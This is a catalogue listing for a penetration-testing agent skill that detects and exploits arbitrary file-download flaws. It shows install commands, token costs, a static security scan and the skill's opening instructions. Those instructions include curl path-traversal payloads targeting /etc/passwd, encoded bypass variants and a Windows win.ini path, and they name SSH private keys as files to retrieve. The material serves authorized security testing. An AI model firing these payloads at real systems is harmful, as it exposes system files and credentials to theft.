exploit-file-download

A security-testing workflow for finding and demonstrating arbitrary file-download flaws, where a website may be tricked into reading files outside its intended folder. It uses path traversal, bypass attempts, and searches for sensitive files.

In plain words
What is it for?
It helps test download endpoints, try path-traversal inputs, and scan for sensitive files on authorized Linux or other target systems.
Why use it?
It helps identify whether a file-download endpoint can expose private system or application data. Testing requires written permission and a controlled environment.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/crazymarky/pentest-skills/scripts
Any agent
npx skills add crazyMarky/pentest-skills --skill scripts
Clone the repo
git clone --depth 1 https://github.com/crazyMarky/pentest-skills

Made for: Claude Code, Codex.

Per session 50 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,228 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00050 $0.02228
Opus 5 $0.00025 $0.01114
Sonnet 5 $0.00010 $0.00446
Haiku 4.5 $0.00005 $0.00223

Measured 3d ago against content hash 5dc2feb2a118, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

exploit-file-download scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

The scan reads SKILL.md. This mod also ships 2 executable files (file_download_storage.py, file_download_tester.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

# Test with curl curl -X POST "https://target.com/download" -d "file=../../../etc/passwd"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

/home/user/.ssh/id_rsa - SSH private keys

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Optional: curl for manual testing
exploit-file-download/scripts/SKILL.md · 341 lines

How it starts

The opening of the file, as written. The whole thing — 341 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Arbitrary File Download Detection & Exploitation

Authorization Warning

DANGER: File download vulnerability testing can expose sensitive system files and user data. Always ensure you have:

  • Written permission from the target system owner
  • Isolated testing environment
  • Defined scope of testing
  • Legal compliance with local regulations

Never test file download vulnerabilities on production systems without authorization.


Prerequisites

Required Tools

# Python 3 with requests library
pip install requests

# Optional: curl for manual testing
# Built-in on most systems

Optional Tools

# Burp Suite for manual testing
# OWASP ZAP for automated scanning
# ffuf for parameter fuzzing

Quick Start

Basic Path Traversal Test

# Manual test with curl
curl "https://target.com/download?file=../../../etc/passwd"

# Using the automated tester
python scripts/file_download_tester.py -u "https://target.com/download?file=document.pdf"

Sensitive File Scanner

# Scan for sensitive files after confirming vulnerability
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux

Common Scenarios

1. Basic Path Traversal Testing

Test for basic directory traversal vulnerabilities:

# Manual testing
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/download?file=....//....//etc/passwd"

# Automated testing
python scripts/file_download_tester.py -u "https://target.com/download?file=test.pdf"

What to check:

  • Does the parameter accept ../ sequences?
  • Can you access files outside the intended directory?
  • What is the response when accessing system files?

Common payload patterns:

../../../etc/passwd
....//....//....//etc/passwd
..\..\..\..\windows\win.ini

2. URL Encoded Bypass

When basic traversal is blocked, try URL encoding:

# Single URL encoding
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl "https://target.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

Read the full file on GitHub · 341 lines

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 341 lines · 50 tokens per session scan B 5dc2feb2a118

Subscribe to this mod's changes

exploit-file-download is a skill published in the GitHub repository crazyMarky/pentest-skills (299 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 50 tokens to every session and 2,228 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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